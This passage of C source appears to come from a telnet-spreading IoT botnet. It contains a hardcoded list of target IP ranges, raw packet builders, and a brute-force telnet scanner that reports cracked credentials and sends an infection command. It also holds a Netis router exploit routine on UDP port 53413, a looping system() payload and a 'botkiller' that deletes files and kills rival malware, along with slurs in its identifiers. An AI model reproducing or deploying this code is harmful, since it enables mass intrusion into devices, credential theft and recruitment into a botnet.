  937. szprintf(ip, "14.187.%d.%d", ipState[3], ipState[4]);
  938. }
  939. if(randnum == 86)
  940. {
  941. szprintf(ip, "14.188.%d.%d", ipState[3], ipState[4]);
  942. }
  943. if(randnum == 87)
  944. {
  945. szprintf(ip, "14.189.%d.%d", ipState[3], ipState[4]);
  946. }
  947. if(randnum == 88)
  948. {
  949. szprintf(ip, "14.190.%d.%d", ipState[3], ipState[4]);
  950. }
  951. if(randnum == 89)
  952. {
  953. szprintf(ip, "14.191.%d.%d", ipState[3], ipState[4]);
  954. }
  955. if(randnum == 90)
  956. {
  957. szprintf(ip, "45.121.%d.%d", ipState[3], ipState[4]);
  958. }
  959. if(randnum == 91)
  960. {
  961. szprintf(ip, "45.120.%d.%d", ipState[3], ipState[4]);
  962. }
  963. if(randnum == 92)
  964. {
  965. szprintf(ip, "45.115.%d.%d", ipState[3], ipState[4]);
  966. }
  967. if(randnum == 93)
  968. {
  969. szprintf(ip, "43.252.%d.%d", ipState[3], ipState[4]);
  970. }
  971. if(randnum == 94)
  972. {
  973. szprintf(ip, "43.230.%d.%d", ipState[3], ipState[4]);
  974. }
  975. if(randnum == 95)
  976. {
  977. szprintf(ip, "43.240.%d.%d", ipState[3], ipState[4]);
  978. }
  979. if(randnum == 96)
  980. {
  981. szprintf(ip, "43.245.%d.%d", ipState[3], ipState[4]);
  982. }
  983. if(randnum == 97)
  984. {
  985. szprintf(ip, "41.174.%d.%d", ipState[3], ipState[4]);
  986. }
  987. if(randnum == 98)
  988. {
  989. szprintf(ip, "49.118.%d.%d", ipState[3], ipState[4]);
  990. }
  991. if(randnum == 99)
  992. {
  993. szprintf(ip, "78.188.%d.%d", ipState[3], ipState[4]);
  994. }
  995. if(randnum == 100)
  996. {
  997. szprintf(ip, "45.127.%d.%d", ipState[3], ipState[4]);
  998. }
  999. if(randnum == 101)
  1000. {
  1001. szprintf(ip, "103.30.%d.%d", ipState[3], ipState[4]);
  1002. }
  1003. if(randnum == 102)
  1004. {
  1005. szprintf(ip, "14.33.%d.%d", ipState[3], ipState[4]);
  1006. }
  1007. if(randnum == 103)
  1008. {
  1009. szprintf(ip, "123.16.%d.%d", ipState[3], ipState[4]);
  1010. }
  1011. if(randnum == 104)
  1012. {
  1013. szprintf(ip, "202.44.%d.%d", ipState[3], ipState[4]);
  1014. }
  1015. if(randnum == 105)
  1016. {
  1017. szprintf(ip, "116.93.%d.%d", ipState[3], ipState[4]);
  1018. }
  1019. if(randnum == 106)
  1020. {
  1021. szprintf(ip, "91.83.%d.%d", ipState[3], ipState[4]);
  1022. }
  1023. if(randnum == 107)
  1024. {
  1025. szprintf(ip, "41.253.%d.%d", ipState[3], ipState[4]);
  1026. }
  1027. if(randnum == 108)
  1028. {
  1029. szprintf(ip, "117.173.%d.%d", ipState[3], ipState[4]);
  1030. }
  1031. if(randnum == 109)
  1032. {
  1033. szprintf(ip, "113.190.%d.%d", ipState[3], ipState[4]);
  1034. }
  1035. if(randnum == 110)
  1036. {
  1037. szprintf(ip, "146.88.%d.%d", ipState[3], ipState[4]);
  1038. }
  1039. if(randnum == 111)
  1040. {
  1041. szprintf(ip, "112.196.%d.%d", ipState[3], ipState[4]);
  1042. }
  1043. if(randnum == 112)
  1044. {
  1045. szprintf(ip, "113.178.%d.%d", ipState[3], ipState[4]);
  1046. }
  1047. if(randnum == 113)
  1048. {
  1049. szprintf(ip, "112.45.%d.%d", ipState[3], ipState[4]);
  1050. }
  1051. if(randnum == 114)
  1052. {
  1053. szprintf(ip, "183.223.%d.%d", ipState[3], ipState[4]);
  1054. }
  1055. if(randnum == 115)
  1056. {
  1057. szprintf(ip, "116.71.%d.%d", ipState[3], ipState[4]);
  1058. }
  1059. if(randnum == 116)
  1060. {
  1061. szprintf(ip, "103.44.%d.%d", ipState[3], ipState[4]);
  1062. }
  1063. if(randnum == 117)
  1064. {
  1065. szprintf(ip, "110.235.%d.%d", ipState[3], ipState[4]);
  1066. }
  1067. if(randnum == 118)
  1068. {
  1069. szprintf(ip, "124.253.%d.%d", ipState[3], ipState[4]);
  1070. }
  1071. if(randnum == 119)
  1072. {
  1073. szprintf(ip, "211.237.%d.%d", ipState[3], ipState[4]);
  1074. }
  1075. if(randnum == 120)
  1076. {
  1077. szprintf(ip, "117.175.%d.%d", ipState[3], ipState[4]);
  1078. }
  1079. if(randnum == 121)
  1080. {
  1081. szprintf(ip, "117.173.%d.%d", ipState[3], ipState[4]);
  1082. }
  1083. if(randnum == 122)
  1084. {
  1085. szprintf(ip, "178.93.%d.%d", ipState[3], ipState[4]);
  1086. }
  1087. if(randnum == 123)
  1088. {
  1089. szprintf(ip, "111.9.%d.%d", ipState[3], ipState[4]);
  1090. }
  1091. if(randnum == 124)
  1092. {
  1093. szprintf(ip, "222.252.%d.%d", ipState[3], ipState[4]);
  1094. }
  1095. if(randnum == 125)
  1096. {
  1097. szprintf(ip, "113.174.%d.%d", ipState[3], ipState[4]);
  1098. }
  1099. if(randnum == 126)
  1100. {
  1101. szprintf(ip, "222.252.%d.%d", ipState[3], ipState[4]);
  1102. }
  1103. if(randnum == 127)
  1104. {
  1105. szprintf(ip, "113.160.%d.%d", ipState[3], ipState[4]);
  1106. }
  1107. if(randnum == 128)
  1108. {
  1109. szprintf(ip, "113.161.%d.%d", ipState[3], ipState[4]);
  1110. }
  1111. if(randnum == 129)
  1112. {
  1113. szprintf(ip, "113.162.%d.%d", ipState[3], ipState[4]);
  1114. }
  1115. if(randnum == 130)
  1116. {
  1117. szprintf(ip, "113.163.%d.%d", ipState[3], ipState[4]);
  1118. }
  1119. if(randnum == 131)
  1120. {
  1121. szprintf(ip, "113.164.%d.%d", ipState[3], ipState[4]);
  1122. }
  1123. if(randnum == 132)
  1124. {
  1125. szprintf(ip, "113.165.%d.%d", ipState[3], ipState[4]);
  1126. }
  1127. if(randnum == 133)
  1128. {
  1129. szprintf(ip, "113.166.%d.%d", ipState[3], ipState[4]);
  1130. }
  1131. if(randnum == 134)
  1132. {
  1133. szprintf(ip, "113.167.%d.%d", ipState[3], ipState[4]);
  1134. }
  1135. if(randnum == 135)
  1136. {
  1137. szprintf(ip, "113.168.%d.%d", ipState[3], ipState[4]);
  1138. }
  1139. if(randnum == 136)
  1140. {
  1141. szprintf(ip, "113.169.%d.%d", ipState[3], ipState[4]);
  1142. }
  1143. if(randnum == 137)
  1144. {
  1145. szprintf(ip, "123.17.%d.%d", ipState[3], ipState[4]);
  1146. }
  1147. if(randnum == 138)
  1148. {
  1149. szprintf(ip, "123.18.%d.%d", ipState[3], ipState[4]);
  1150. }
  1151. if(randnum == 139)
  1152. {
  1153. szprintf(ip, "123.19.%d.%d", ipState[3], ipState[4]);
  1154. }
  1155. if(randnum == 140)
  1156. {
  1157. szprintf(ip, "123.20.%d.%d", ipState[3], ipState[4]);
  1158. }
  1159. if(randnum == 141)
  1160. {
  1161. szprintf(ip, "123.21.%d.%d", ipState[3], ipState[4]);
  1162. }
  1163. if(randnum == 142)
  1164. {
  1165. szprintf(ip, "123.22.%d.%d", ipState[3], ipState[4]);
  1166. }
  1167. if(randnum == 143)
  1168. {
  1169. szprintf(ip, "222.252.%d.%d", ipState[3], ipState[4]);
  1170. }
  1171. if(randnum == 144)
  1172. {
  1173. szprintf(ip, "222.253.%d.%d", ipState[3], ipState[4]);
  1174. }
  1175. if(randnum == 145)
  1176. {
  1177. szprintf(ip, "222.254.%d.%d", ipState[3], ipState[4]);
  1178. }
  1179. if(randnum == 146)
  1180. {
  1181. szprintf(ip, "222.255.%d.%d", ipState[3], ipState[4]);
  1182. }
  1183. if(randnum == 147)
  1184. {
  1185. szprintf(ip, "37.247.%d.%d", ipState[3], ipState[4]);
  1186. }
  1187. if(randnum == 148)
  1188. {
  1189. szprintf(ip, "41.208.%d.%d", ipState[3], ipState[4]);
  1190. }
  1191. if(randnum == 149)
  1192. {
  1193. szprintf(ip, "183.220.%d.%d", ipState[3], ipState[4]);
  1194. }
  1195. if(randnum == 150)
  1196. {
  1197. szprintf(ip, "175.201.%d.%d", ipState[3], ipState[4]);
  1198. }
  1199. if(randnum == 151)
  1200. {
  1201. szprintf(ip, "103.198.%d.%d", ipState[3], ipState[4]);
  1202. }
  1203. if(randnum == 152)
  1204. {
  1205. szprintf(ip, "183.223.%d.%d", ipState[3], ipState[4]);
  1206. }
  1207. if(randnum == 153)
  1208. {
  1209. szprintf(ip, "50.205.%d.%d", ipState[3], ipState[4]);
  1210. }
  1211. if(randnum == 154)
  1212. {
  1213. szprintf(ip, "88.248.%d.%d", ipState[3], ipState[4]);
  1214. }
  1215. if(randnum == 155)
  1216. {
  1217. szprintf(ip, "88.105.%d.%d", ipState[3], ipState[4]);
  1218. }
  1219. if(randnum == 156)
  1220. {
  1221. szprintf(ip, "88.247.%d.%d", ipState[3], ipState[4]);
  1222. }
  1223. if(randnum == 157)
  1224. {
  1225. szprintf(ip, "85.105.%d.%d", ipState[3], ipState[4]);
  1226. }
  1227. if(randnum == 158)
  1228. {
  1229. szprintf(ip, "188.3.%d.%d", ipState[3], ipState[4]);
  1230. }
  1231. if(randnum == 159)
  1232. {
  1233. szprintf(ip, "103.203.%d.%d", ipState[3], ipState[4]);
  1234. }
  1235. if(randnum == 160)
  1236. {
  1237. szprintf(ip, "103.55.%d.%d", ipState[3], ipState[4]);
  1238. }
  1239. if(randnum == 161)
  1240. {
  1241. szprintf(ip, "103.220.%d.%d", ipState[3], ipState[4]);
  1242. }
  1243. if(randnum == 162)
  1244. {
  1245. szprintf(ip, "183.233.%d.%d", ipState[3], ipState[4]);
  1246. }
  1247. if(randnum == 163)
  1248. {
  1249. szprintf(ip, "103.242.%d.%d", ipState[3], ipState[4]);
  1250. }
  1251. if(randnum == 164)
  1252. {
  1253. szprintf(ip, "103.198.%d.%d", ipState[3], ipState[4]);
  1254. }
  1255. if(randnum == 165)
  1256. {
  1257. szprintf(ip, "103.14.%d.%d", ipState[3], ipState[4]);
  1258. }
  1259. if(randnum == 166)
  1260. {
  1261. szprintf(ip, "103.195.%d.%d", ipState[3], ipState[4]);
  1262. }
  1263. if(randnum == 167)
  1264. {
  1265. szprintf(ip, "103.203.%d.%d", ipState[3], ipState[4]);
  1266. }
  1267. if(randnum == 168)
  1268. {
  1269. szprintf(ip, "103.214.%d.%d", ipState[3], ipState[4]);
  1270. }
  1271. if(randnum == 169)
  1272. {
  1273. szprintf(ip, "103.218.%d.%d", ipState[3], ipState[4]);
  1274. }
  1275. if(randnum == 171)
  1276. {
  1277. szprintf(ip, "103.225.%d.%d", ipState[3], ipState[4]);
  1278. }
  1279. if(randnum == 172)
  1280. {
  1281. szprintf(ip, "103.228.%d.%d", ipState[3], ipState[4]);
  1282. }
  1283. if(randnum == 173)
  1284. {
  1285. szprintf(ip, "103.231.%d.%d", ipState[3], ipState[4]);
  1286. }
  1287. if(randnum == 174)
  1288. {
  1289. szprintf(ip, "103.60.%d.%d", ipState[3], ipState[4]);
  1290. }
  1291. if(randnum == 175)
  1292. {
  1293. szprintf(ip, "103.248.%d.%d", ipState[3], ipState[4]);
  1294. }
  1295. if(randnum == 176)
  1296. {
  1297. szprintf(ip, "103.253.%d.%d", ipState[3], ipState[4]);
  1298. }
  1299. if(randnum == 177)
  1300. {
  1301. szprintf(ip, "103.255.%d.%d", ipState[3], ipState[4]);
  1302. }
  1303. if(randnum == 178)
  1304. {
  1305. szprintf(ip, "103.35.%d.%d", ipState[3], ipState[4]);
  1306. }
  1307. if(randnum == 179)
  1308. {
  1309. szprintf(ip, "103.49.%d.%d", ipState[3], ipState[4]);
  1310. }
  1311. if(randnum == 180)
  1312. {
  1313. szprintf(ip, "103.62.%d.%d", ipState[3], ipState[4]);
  1314. }
  1315. if(randnum == 181)
  1316. {
  1317. szprintf(ip, "144.48.%d.%d", ipState[3], ipState[4]);
  1318. }
  1319. if(randnum == 182)
  1320. {
  1321. szprintf(ip, "163.47.%d.%d", ipState[3], ipState[4]);
  1322. }
  1323. if(randnum == 183)
  1324. {
  1325. szprintf(ip, "163.53.%d.%d", ipState[3], ipState[4]);
  1326. }
  1327. if(randnum == 184)
  1328. {
  1329. szprintf(ip, "223.29.%d.%d", ipState[3], ipState[4]);
  1330. }
  1331. if(randnum == 185)
  1332. {
  1333. szprintf(ip, "59.153.%d.%d", ipState[3], ipState[4]);
  1334. }
  1335. if(randnum == 186)
  1336. {
  1337. szprintf(ip, "113.176.%d.%d", ipState[3], ipState[4]);
  1338. }
  1339. if(randnum == 187)
  1340. {
  1341. szprintf(ip, "113.175.%d.%d", ipState[3], ipState[4]);
  1342. }
  1343. if(randnum == 188)
  1344. {
  1345. szprintf(ip, "113.177.%d.%d", ipState[3], ipState[4]);
  1346. }
  1347. if(randnum == 189)
  1348. {
  1349. szprintf(ip, "113.183.%d.%d", ipState[3], ipState[4]);
  1350. }
  1351. if(randnum == 190)
  1352. {
  1353. szprintf(ip, "202.164.%d.%d", ipState[3], ipState[4]);
  1354. }
  1355. if(randnum == 191)
  1356. {
  1357. szprintf(ip, "203.134.%d.%d", ipState[3], ipState[4]);
  1358. }
  1359. if(randnum == 192)
  1360. {
  1361. szprintf(ip, "210.56.%d.%d", ipState[3], ipState[4]);
  1362. }
  1363. if(randnum == 193)
  1364. {
  1365. szprintf(ip, "49.156.%d.%d", ipState[3], ipState[4]);
  1366. }
  1367. if(randnum == 194)
  1368. {
  1369. szprintf(ip, "203.210.%d.%d", ipState[3], ipState[4]);
  1370. }
  1371. if(randnum == 195)
  1372. {
  1373. szprintf(ip, "117.181.%d.%d", ipState[3], ipState[4]);
  1374. }
  1375. if(randnum == 196)
  1376. {
  1377. szprintf(ip, "117.178.%d.%d", ipState[3], ipState[4]);
  1378. }
  1379. if(randnum == 197)
  1380. {
  1381. szprintf(ip, "117.177.%d.%d", ipState[3], ipState[4]);
  1382. }
  1383. if(randnum == 198)
  1384. {
  1385. szprintf(ip, "117.176.%d.%d", ipState[3], ipState[4]);
  1386. }
  1387. if(randnum == 199)
  1388. {
  1389. szprintf(ip, "117.170.%d.%d", ipState[3], ipState[4]);
  1390. }
  1391. if(randnum == 200)
  1392. {
  1393. szprintf(ip, "117.171.%d.%d", ipState[3], ipState[4]);
  1394. }
  1395. if(randnum == 201)
  1396. {
  1397. szprintf(ip, "117.162.%d.%d", ipState[3], ipState[4]);
  1398. }
  1399. if(randnum == 201)
  1400. {
  1401. szprintf(ip, "112.26.%d.%d", ipState[3], ipState[4]);
  1402. }
  1403. if(randnum == 202)
  1404. {
  1405. szprintf(ip, "112.27.%d.%d", ipState[3], ipState[4]);
  1406. }
  1407. if(randnum == 203)
  1408. {
  1409. szprintf(ip, "112.28.%d.%d", ipState[3], ipState[4]);
  1410. }
  1411. if(randnum == 204)
  1412. {
  1413. szprintf(ip, "112.29.%d.%d", ipState[3], ipState[4]);
  1414. }
  1415. if(randnum == 205)
  1416. {
  1417. szprintf(ip, "112.30.%d.%d", ipState[3], ipState[4]);
  1418. }
  1419. if(randnum == 206)
  1420. {
  1421. szprintf(ip, "112.31.%d.%d", ipState[3], ipState[4]);
  1422. }
  1423. if(randnum == 207)
  1424. {
  1425. szprintf(ip, "203.150.%d.%d", ipState[3], ipState[4]);
  1426. }
  1427. if(randnum == 208)
  1428. {
  1429. szprintf(ip, "50.233.%d.%d", ipState[3], ipState[4]);
  1430. }
  1431.  
  1432. return inet_addr(ip);
  1433. }
  1434.  
  1435. int Dickranges[] = {110,111,112,113,114,115,116,117,118,119,223,1,27,182,36,39,42,123,122,41,59,220,221,175,14,101,58,60,61,183};
  1436. in_addr_t NetisRanges()
  1437. {
  1438. int range = rand() % (sizeof(Shitranges)/sizeof(char *));
  1439. ipState[1] = Shitranges[range];
  1440. ipState[2] = rand() % 255;
  1441. ipState[3] = rand() % 255;
  1442. ipState[4] = rand() % 255;
  1443. char ip[16] = {0};
  1444. szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
  1445. return inet_addr(ip);
  1446. }
  1447. in_addr_t HackerScan(in_addr_t netmask)
  1448. {
  1449. in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  1450. return tmp ^ ( rand_cmwc() & ~netmask);
  1451. }
  1452. unsigned short csum (unsigned short *buf, int count)
  1453. {
  1454. register uint64_t sum = 0;
  1455. while( count > 1 ) { sum += *buf++; count -= 2; }
  1456. if(count > 0) { sum += *(unsigned char *)buf; }
  1457. while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  1458. return (uint16_t)(~sum);
  1459. }
  1460. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
  1461. {
  1462. struct tcp_pseudo
  1463. {
  1464. unsigned long src_addr;
  1465. unsigned long dst_addr;
  1466. unsigned char zero;
  1467. unsigned char proto;
  1468. unsigned short length;
  1469. } pseudohead;
  1470. unsigned short total_len = iph->tot_len;
  1471. pseudohead.src_addr=iph->saddr;
  1472. pseudohead.dst_addr=iph->daddr;
  1473. pseudohead.zero=0;
  1474. pseudohead.proto=IPPROTO_TCP;
  1475. pseudohead.length=htons(sizeof(struct tcphdr));
  1476. int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  1477. unsigned short *tcp = malloc(totaltcp_len);
  1478. memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  1479. memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  1480. unsigned short output = csum(tcp,totaltcp_len);
  1481. free(tcp);
  1482. return output;
  1483. }
  1484. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
  1485. {
  1486. iph->ihl = 5;
  1487. iph->version = 4;
  1488. iph->tos = 0;
  1489. iph->tot_len = sizeof(struct iphdr) + packetSize;
  1490. iph->id = rand_cmwc();
  1491. iph->frag_off = 0;
  1492. iph->ttl = MAXTTL;
  1493. iph->protocol = protocol;
  1494. iph->check = 0;
  1495. iph->saddr = source;
  1496. iph->daddr = dest;
  1497. }
  1498. int sclose(int fd)
  1499. {
  1500. if(3 > fd) return 1;
  1501. close(fd);
  1502. return 0;
  1503. }
  1504. struct telstate_t
  1505. {
  1506. int fd;
  1507. unsigned int ip;
  1508. unsigned char state;
  1509. unsigned char complete;
  1510. unsigned char usernameInd;
  1511. unsigned char passwordInd;
  1512. unsigned char tempDirInd;
  1513. unsigned int totalTimeout;
  1514. unsigned short bufUsed;
  1515. char *sockbuf;
  1516. };
  1517. const char* get_telstate_host(struct telstate_t* telstate)
  1518. {
  1519. struct in_addr in_addr_ip;
  1520. in_addr_ip.s_addr = telstate->ip;
  1521. return inet_ntoa(in_addr_ip);
  1522. }
  1523. int read_until_response(int fd, int timeout_usec, char* buffer, int buf_size, char** strings)
  1524. {
  1525. int num_bytes, i;
  1526. memset(buffer, 0, buf_size);
  1527. num_bytes = read_with_timeout(fd, timeout_usec, buffer, buf_size);
  1528. if(buffer[0] == 0xFF)
  1529. {
  1530. negotiate(fd, buffer, 3);
  1531. }
  1532. if(contains_string(buffer, strings))
  1533. {
  1534. return 1;
  1535. }
  1536. return 0;
  1537. }
  1538. int read_with_timeout(int fd, int timeout_usec, char* buffer, int buf_size)
  1539. {
  1540. fd_set read_set;
  1541. struct timeval tv;
  1542. tv.tv_sec = 0;
  1543. tv.tv_usec = timeout_usec;
  1544. FD_ZERO(&read_set);
  1545. FD_SET(fd, &read_set);
  1546. if (select(fd+1, &read_set, NULL, NULL, &tv) < 1)
  1547. return 0;
  1548. return recv(fd, buffer, buf_size, 0);
  1549. }
  1550. int contains_success(char* buffer)
  1551. {
  1552. return contains_string(buffer, successes);
  1553. }
  1554. int contains_fail(char* buffer)
  1555. {
  1556. return contains_string(buffer, fails);
  1557. }
  1558. int contains_string(char* buffer, char** strings)
  1559. {
  1560. int num_strings = 0, i = 0;
  1561. for(num_strings = 0; strings[++num_strings] != 0; );
  1562. for(i = 0; i < num_strings; i++)
  1563. {
  1564. if(strcasestr(buffer, strings[i]))
  1565. {
  1566. return 1;
  1567. }
  1568. }
  1569. return 0;
  1570. }
  1571. //major improvments done by Jonah
  1572. void StartTheLelz() {
  1573. int i, res, j;
  1574. char buf[128], cur_dir;
  1575. int wait_usec = 10;
  1576. int maxfds = 1000;
  1577. int max = maxfds;
  1578. fd_set fdset;
  1579. struct timeval tv;
  1580. socklen_t lon;
  1581. int valopt;
  1582. srand(time(NULL) ^ rand_cmwc());
  1583. char line[256];
  1584. char* buffer;
  1585. struct sockaddr_in dest_addr;
  1586. dest_addr.sin_family = AF_INET;
  1587. dest_addr.sin_port = htons(23);
  1588. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1589. buffer = malloc(BUFFER_SIZE + 1);
  1590. memset(buffer, 0, BUFFER_SIZE + 1);
  1591. struct telstate_t fds[max];
  1592. memset(fds, 0, max * (sizeof(int) + 1));
  1593. for(i = 0; i < max; i++) {
  1594. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1595. fds[i].complete = 1;
  1596. fds[i].sockbuf = buffer; }
  1597. while(1) {
  1598. for(i = 0; i < max; i++) {
  1599. if(fds[i].totalTimeout == 0) {
  1600. fds[i].totalTimeout = time(NULL); }
  1601. switch(fds[i].state) {
  1602. case 0: {
  1603. if(fds[i].complete == 1) {
  1604. char *tmp = fds[i].sockbuf;
  1605. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1606. fds[i].sockbuf = tmp;
  1607. fds[i].ip = HackerScan2(); }
  1608. else if(fds[i].complete == 0) {
  1609. fds[i].passwordInd++;
  1610. fds[i].usernameInd++;
  1611. if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) {
  1612. fds[i].complete = 1;
  1613. continue; }
  1614. if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) {
  1615. fds[i].complete = 1;
  1616. continue;
  1617. }
  1618. }
  1619. dest_addr.sin_family = AF_INET;
  1620. dest_addr.sin_port = htons(23);
  1621. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1622. dest_addr.sin_addr.s_addr = fds[i].ip;
  1623. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1624. if(fds[i].fd == -1) continue;
  1625. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1626. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) {
  1627. sclose(fds[i].fd);
  1628. fds[i].complete = 1; }
  1629. else {
  1630. fds[i].state = 1;
  1631. fds[i].totalTimeout = 0;
  1632. }
  1633. }
  1634. break;
  1635. case 1:
  1636. {
  1637. FD_ZERO(&fdset);
  1638. FD_SET(fds[i].fd, &fdset);
  1639. tv.tv_sec = 0;
  1640. tv.tv_usec = wait_usec;
  1641. res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);
  1642. if(res == 1) {
  1643. lon = sizeof(int);
  1644. valopt = 0;
  1645. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1646. if(valopt) {
  1647. sclose(fds[i].fd);
  1648. fds[i].state = 0;
  1649. fds[i].complete = 1;
  1650. } else {
  1651. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  1652. fds[i].totalTimeout = 0;
  1653. fds[i].bufUsed = 0;
  1654. memset(fds[i].sockbuf, 0, 1024);
  1655. fds[i].state = 2;
  1656. } continue; }
  1657. else if(res == -1) {
  1658. sclose(fds[i].fd);
  1659. fds[i].state = 0;
  1660. fds[i].complete = 1;
  1661. continue; }
  1662. if(fds[i].totalTimeout + 6 < time(NULL)) {
  1663. sclose(fds[i].fd);
  1664. fds[i].state = 0;
  1665. fds[i].complete = 1;
  1666. }
  1667. }
  1668. break;
  1669. case 2:
  1670. {
  1671. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances)) {
  1672. if(contains_fail(fds[i].sockbuf)) {
  1673. fds[i].state = 0;
  1674. } else {
  1675. fds[i].state = 3; }
  1676. continue; }
  1677. if(fds[i].totalTimeout + 6 < time(NULL)) {
  1678. fds[i].state = 0;
  1679. fds[i].complete = 1;
  1680. }
  1681. }
  1682. break;
  1683. case 3: {
  1684. if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) {
  1685. fds[i].state = 0;
  1686. fds[i].complete = 1;
  1687. continue; }
  1688. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {
  1689. fds[i].state = 0;
  1690. fds[i].complete = 1;
  1691. continue; }
  1692. fds[i].state = 4; }
  1693. break;
  1694. case 4:
  1695. {
  1696. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances))
  1697. {
  1698. if(contains_fail(fds[i].sockbuf)) {
  1699. fds[i].state = 0;
  1700. } else {
  1701. fds[i].state = 5; }
  1702. continue; }
  1703. if(fds[i].totalTimeout + 6 < time(NULL)) {
  1704. fds[i].state = 0;
  1705. fds[i].complete = 1;
  1706. }
  1707. }
  1708. break;
  1709. case 5:
  1710. {
  1711. if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) {
  1712. fds[i].state = 0;
  1713. fds[i].complete = 1;
  1714. continue; }
  1715. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {
  1716. fds[i].state = 0;
  1717. fds[i].complete = 1;
  1718. continue; }
  1719. fds[i].state = 6;
  1720. }
  1721. break;
  1722. case 6:
  1723. {
  1724. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances2)) {
  1725. fds[i].totalTimeout = time(NULL);
  1726. if(contains_fail(fds[i].sockbuf)) {
  1727. fds[i].state = 0; }
  1728. else if(contains_success(fds[i].sockbuf)) {
  1729. if(fds[i].complete == 2) {
  1730. fds[i].state = 7; }
  1731. else {
  1732. HackerPrint(D1ckSucka, "\x1b[0;33mIP Found: \x1b[0;34m%s | \x1b[0;31mlogin: \x1b[0;33m%s | \x1b[0;31mPassword: \x1b[0;33m%s\x1b[0m", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1733. HackerPrint(D1ckSucka, "REPORT %s:%s:%s", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1734. fds[i].state = 7; }
  1735. } else {
  1736. fds[i].state = 0;
  1737. fds[i].complete = 1;
  1738. } continue; }
  1739. if(fds[i].totalTimeout + 7 < time(NULL)) {
  1740. fds[i].state = 0;
  1741. fds[i].complete = 1;
  1742. }
  1743. }
  1744. break;
  1745. case 7:
  1746. {
  1747. fds[i].totalTimeout = time(NULL);
  1748. if(send(fds[i].fd, hvgsgd, strlen(hvgsgd), MSG_NOSIGNAL) < 0) {
  1749. sclose(fds[i].fd);
  1750. fds[i].state = 0;
  1751. fds[i].complete = 1;
  1752. continue; }
  1753. fds[i].complete = 3;
  1754. if(fds[i].totalTimeout + 60 < time(NULL)) {
  1755. if(fds[i].complete !=3){
  1756. }
  1757. fds[i].state = 0;
  1758. fds[i].complete = 1;
  1759. }
  1760. break;
  1761. }
  1762. }
  1763. }
  1764. }
  1765. }
  1766. void StartTheNetis()
  1767. {
  1768. while(1){
  1769. char payload2[1024];
  1770. int clientSocket, portNum, nBytes;
  1771. struct sockaddr_in serverAddr;
  1772. socklen_t addr_size;
  1773. clientSocket = socket(PF_INET, SOCK_DGRAM, 0);
  1774. uint32_t ip;
  1775. ip = NetisRanges();
  1776. serverAddr.sin_family = AF_INET;
  1777. serverAddr.sin_port = htons(53413);
  1778. serverAddr.sin_addr.s_addr = ip;
  1779. memset(serverAddr.sin_zero, '\0', sizeof serverAddr.sin_zero);
  1780. addr_size = sizeof serverAddr;
  1781. sprintf(payload2, "%s PAYLOAD HERE*\r\n x00", NETIS);
  1782. sendto(clientSocket,payload2,strlen(payload2),0,(struct sockaddr *)&serverAddr,addr_size);
  1783. }
  1784. }
  1785. //LOOPING PAYLOAD
  1786. void LoopPayload(){
  1787. int i;
  1788. for(i = 0; i < 9; i++){
  1789. system("PAYLOAD HERE\r\n");
  1790. return;
  1791. }
  1792. sleep(5);
  1793. }
  1794. //botkill
  1795. void botkiller(){
  1796. char* Niggerdirs[] = {"/dev/netslink/", "/tmp/", "/var/", "/dev/", "/var/run/", "/dev/shm/", "/mnt/", "/boot/", "/usr/", (char*) 0};//wtf are we doing here well these are the directory
  1797. char* Boats[] = {"wget", "armv*", "bot*", "ntpd*", "hackz*", "shitty*","jack*", "mips*", "sex*", "i86", "ssh*", "sh4*", "jackmeoff*", "tftp*", "i56", "mips", "mipsel", "sh4", "x86", "i686", "ppc", "i586", "i586"};
  1798. const char *bots[] = {"jackmy*", "busybox*", "bin*", "sex*", "tftp*", "arm*", "mipsel*", "mips*", "mips64*", "i686*","sparc*", "sh4*", "bot*", "jackmeoff*", "hackz*", "bruv*"};
  1799. char hacker[80];
  1800. char botkill[80];
  1801. char buf[128];
  1802. int i, num_tmps, j;
  1803. for(j = 0; j < num_tmps; j++)
  1804. {
  1805. memset(buf, 0, 128);
  1806. if(j == 0)
  1807. snprintf(buf, 127, ">%s.t && cd %s && for a in `ls -a %s`; do >$a; done; >retrieve ;echo ps aux >> proc ; pkill -9 %d\r\n", Niggerdirs[j], Niggerdirs[j], Niggerdirs[j], Niggerdirs[j], bots[j]);
  1808. else
